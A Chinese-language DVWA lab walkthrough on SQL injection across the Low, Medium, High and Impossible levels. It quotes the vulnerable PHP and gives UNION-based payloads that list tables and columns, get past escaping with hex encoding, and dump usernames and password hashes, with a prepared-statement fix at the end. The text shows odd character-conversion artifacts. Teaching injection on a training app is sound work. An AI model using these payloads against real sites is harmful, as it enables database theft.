### Low:
漏洞代碼:
```
<?php
if( isset( $_REQUEST[ 'Submit' ] ) ) {
// Get input
$id = $_REQUEST[ 'id' ];
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
mysqli_close($GLOBALS["___mysqli_ston"]);
}
?>
```
對(duì)前端傳遞進(jìn)來(lái)的參數(shù)ID沒(méi)有做任何過(guò)濾和檢測(cè),直接帶入sql代碼中進(jìn)行查詢(xún)。
1、判斷注入是字符型還是數(shù)字型
輸入 1,正常返回查詢(xún)結(jié)果

使用數(shù)字型語(yǔ)句測(cè)試,
1 or 1=1;#

使用字符型語(yǔ)句測(cè)試,
1' or 1=1;#

由此判斷存在字符型注入
2、查詢(xún)列數(shù)
當(dāng)使用不存在的列數(shù)進(jìn)行排序時(shí)會(huì)語(yǔ)法報(bào)錯(cuò),
1' order by 1;#

1' order by 2;#

1' order by 3;#

3、判斷字段顯示順序
1' union select 1,2;#

4、查詢(xún)當(dāng)前用戶(hù)與數(shù)據(jù)庫(kù)名
1' union select database(),current_user();#

得到數(shù)據(jù)庫(kù)名dvwa
5、查詢(xún)數(shù)據(jù)庫(kù)中的表
1' union select 1, group_concat(table_name) from information_schema.tables where table_schema=database();#

得到guestbook,users表
6、查詢(xún)users表中的字段名
1' union select 1, group_concat(column_name) from information_schema.columns where table_name='users';#

7、爆破數(shù)據(jù)
1' union select group_concat(user_id,first_name,last_name),group_concat(password) from users; #

### Medium
漏洞代碼:
```
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$id = $_POST[ 'id' ];
$id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( '<pre>' . mysqli_error($GLOBALS["___mysqli_ston"]) . '</pre>' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Display values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
}
// This is used later on in the index.php page
// Setting it here so we can close the database connection in here like in the rest of the source scripts
$query = "SELECT COUNT(*) FROM users;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
$number_of_rows = mysqli_fetch_row( $result )[0];
mysqli_close($GLOBALS["___mysqli_ston"]);
?>
```
```mysql_real_escape_string()```函數(shù)只對(duì)特殊符號(hào)x00,n,r,,’,”,x1a進(jìn)行轉(zhuǎn)義,然后在前端用下拉列表限制用戶(hù)輸入,使用burp suite抓包修改即可繞過(guò)限制。
1、判斷注入是字符型還是數(shù)字型
使用字符型語(yǔ)句測(cè)試,
1' or 1=1;#


使用數(shù)字型語(yǔ)句測(cè)試,
1 or 1=1;#


由此判斷存在數(shù)字型注入
2、查詢(xún)列數(shù)
當(dāng)使用不存在的列數(shù)進(jìn)行排序時(shí)會(huì)語(yǔ)法報(bào)錯(cuò),
1 order by 2;#

1 order by 3;#

order by 2時(shí)正常返回,等于3則語(yǔ)法報(bào)錯(cuò),說(shuō)明存在2列。
3、判斷字段顯示順序
1 union select 1,2;#

4、查詢(xún)當(dāng)前用戶(hù)與數(shù)據(jù)庫(kù)名
1 union select database(),current_user();#

得到數(shù)據(jù)庫(kù)名dvwa
5、查詢(xún)數(shù)據(jù)庫(kù)中的表
1 union select 1, group_concat(table_name) from information_schema.tables where table_schema=database();#

得到guestbook,users表
6、查詢(xún)users表中的字段名
1 union select 1, group_concat(column_name) from information_schema.columns where table_name='users';#

由于```mysql_real_escape_string()```函數(shù)對(duì)單引號(hào) ' 進(jìn)行了轉(zhuǎn)義,可以用16進(jìn)制編碼繞過(guò)此處限制。
1 union select 1, group_concat(column_name) from information_schema.columns where table_name=0x7573657273;#

7、爆破數(shù)據(jù)
1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users; #

### High
漏洞代碼:
```
<?php
if( isset( $_SESSION [ 'id' ] ) ) {
// Get input
$id = $_SESSION[ 'id' ];
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>Something went wrong.</pre>' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
```
查詢(xún)語(yǔ)句獲取ID時(shí),增加了單引號(hào),所以這是個(gè)字符型注入,limit 1限制了只能查詢(xún)一個(gè)結(jié)果,這個(gè)用注釋#就可以繞過(guò)。
high級(jí)別與中低級(jí)別是一樣的,所以這里只演示最后的爆破數(shù)據(jù)結(jié)果:
1' union select group_concat(user_id,first_name,last_name),group_concat(password) from users; #


### Impossible
漏洞代碼:
```
<?php
if( isset( $_GET[ 'Submit' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$id = $_GET[ 'id' ];
// Was a number entered?
if(is_numeric( $id )) {
// Check the database
$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
$data->bindParam( ':id', $id, PDO::PARAM_INT );
$data->execute();
$row = $data->fetch();
// Make sure only 1 result is returned
if( $data->rowCount() == 1 ) {
// Get values
$first = $row[ 'first_name' ];
$last = $row[ 'last_name' ];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
```
Impossible級(jí)別的程序使用了pdo實(shí)現(xiàn)數(shù)據(jù)代碼分離,而且針對(duì)查詢(xún)結(jié)果進(jìn)行限制,只有1條時(shí)才會(huì)輸出,提高了一定的安全性。
參照:
[新手指南:DVWA-1.9全級(jí)別教程之SQL Injection](http://www.freebuf.com/articles/web/120747.html)
注:dvwa的漏洞網(wǎng)上已經(jīng)有一堆人在寫(xiě)了,但是針對(duì)的都是舊版本,有些細(xì)節(jié)會(huì)有變化,本文使用最新版 DVWA v1.10重寫(xiě)。